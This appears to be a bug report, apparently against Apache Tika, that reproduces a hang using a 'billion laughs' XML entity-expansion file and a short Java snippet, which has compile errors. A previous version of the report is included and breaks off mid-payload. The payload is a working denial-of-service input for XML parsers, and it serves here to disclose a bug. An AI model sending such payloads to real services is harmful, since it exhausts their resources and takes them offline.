hahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"> <!ENTITY laugh1 "&laugh0;&laugh0;"> <!ENTITY laugh2 "&laugh1;&laugh1;"> <!ENTITY laugh3 "&laugh2;&laugh2;"> <!ENTITY laugh4 "&laugh3;&laugh3;"> <!ENTITY laugh5 "&laugh4;&laugh4;"> <!ENTITY laugh6 "&laugh5;&laugh5;"> <!ENTITY laugh7 "&laugh6;&laugh6;"> <!ENTITY laugh8 "&laugh7;&laugh7;"> <!ENTITY laugh9 "&laugh8;&laugh8;"> <!ENTITY laugh10 "&laugh9;&laugh9;"> <!ENTITY laugh11 "&laugh10;&laugh10;"> <!ENTITY laugh12 "&laugh11;&laugh11;"> <!ENTITY laugh13 "&laugh12;&laugh12;"> <!ENTITY laugh14 "&laugh13;&laugh13;"> <!ENTITY laugh15 "&laugh14;&laugh14;"> <!ENTITY laugh16 "&laugh15;&laugh15;"> <!ENTITY laugh17 "&laugh16;&laugh16;"> <!ENTITY laugh18 "&laugh17;&laugh17;"> <!ENTITY laugh19 "&laugh18;&laugh18;"> <!ENTITY laugh20 "&laugh19;&laugh19;"> <!ENTITY laugh21 "&laugh20;&laugh20;"> <!ENTITY laugh22 "&laugh21;&laugh21;"> <!ENTITY laugh23 "&laugh22;&laugh22;"> <!ENTITY laugh24 "&laugh23;&laugh23;"> <!ENTITY laugh25 "&laugh24;&laugh24;"> <!ENTITY laugh26 "&laugh25;&laugh25;"> <!ENTITY laugh27 "&laugh26;&laugh26;"> <!ENTITY laugh28 "&laugh27;&laugh27;"> <!ENTITY laugh29 "&laugh28;&laugh28;"> <!ENTITY laugh30 "&laugh29;&laugh29;"> ]> <billion location="&laugh29;">text</billion> {code} 2. Create java code as "Main.java" import org.apache.tika.Tika; public class Main { public static void main(String[] args) { Tika tika = new Tika(); String filePath = "C:\\errorfile.xml"; FileInputStream fis = null; mimetype = "None" try { fis = new FileInputStream(filePath); mimetype = tika.detect(fis); } catch (IOException e) { e.printStackTrace(); } System.out.println(mimetype); } } 3. Running falls into an infinite loop.. ToT was: Hi 1. Save the file with the following content as "errorfile.xml" <?xml version="1.0"?> <!DOCTYPE billion [ <!ELEMENT billion (#PCDATA)> <!ENTITY laugh0 "aahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhah